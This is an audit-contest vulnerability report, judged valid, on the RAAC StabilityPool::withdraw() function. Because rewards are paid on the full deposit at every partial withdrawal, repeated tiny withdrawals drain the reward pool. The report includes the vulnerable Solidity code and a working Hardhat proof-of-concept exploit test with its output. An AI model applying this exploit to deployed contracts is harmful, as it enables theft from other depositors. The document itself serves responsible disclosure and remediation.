Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`StabilityPool::withdraw()` can drain the rewards in the contract

Summary

The StabilityPool::withdraw() function allows users to repeatedly claim rewards, potentially depleting the contract's reward pool. A malicious actor can exploit this by making frequent withdrawals of minimal amounts, leading to an unfair advantage and losses for other users.

Vulnerability Details

The calculateRaacRewards() function determines a user's reward allocation based on the proportion of their deposit relative to the total deposits in the system. When a user calls withdraw(), their calculated raacRewards are distributed immediately. However, there is no mechanism to prevent users from repeatedly withdrawing small amounts to disproportionately accumulate rewards, enabling them to drain the reward pool.

// StabilityPool::withdraw()
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
// StabilityPool::calculateRaacRewards()
function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
@> uint256 totalDeposits = deToken.totalSupply();
@> uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

Poc

Add the following test to test/unit/core/pools/StabilityPool/StabilityPool.test.js and execute it:

describe("StabilityPool::withdraw()", function () {
describe("RAAC Rewards", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("100");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
// Setup for user2
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("user1 exhausts contract rewards", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// Cache the expected reward amounts
const user1ExpectedRewards = await stabilityPool.calculateRaacRewards(user1.address);
console.log("user1 Expected Rewards:",user1ExpectedRewards);
const user2ExpectedRewards = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards:",user2ExpectedRewards);
// User1 withdraws minimal amounts multiple times
// ❌
await stabilityPool.connect(user1).withdraw(1);
await stabilityPool.connect(user1).withdraw(1);
await stabilityPool.connect(user1).withdraw(1);
// Check the actual rewards received
const user1ActualRewards = await raacToken.balanceOf(user1.address);
console.log("user1 Actual Rewards:",user1ActualRewards);
});
});
});

output:

StabilityPool
Exhausting contract rewards
Init
user1 Expected Rewards: 2249999999999999992n
user2 Expected Rewards: 2249999999999999992n
user1 Actual Rewards: 4232638888888888872n
✔ user1 exhausts contract rewards (4240ms)

The results indicate that user1 is able to claim significantly more rewards than expected by repeatedly withdrawing small amounts, thus draining the contract's reward pool.

Impact

This vulnerability allows malicious users to unfairly extract more rewards than they are entitled to, resulting in a loss for other participants in the system. If left unaddressed, it could lead to:

  1. Imbalance in reward distribution, disadvantaging honest users.

  2. Depletion of the reward pool, preventing further incentivization.

  3. Potential exploitation at scale, leading to a system-wide financial drain.

Tools Used

Manual Review

Recommendations

It is recommended to restructure the reward amount distribution implementation to prevent malicious users from repeatedly obtaining corresponding rewards by withdrawing small amounts

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.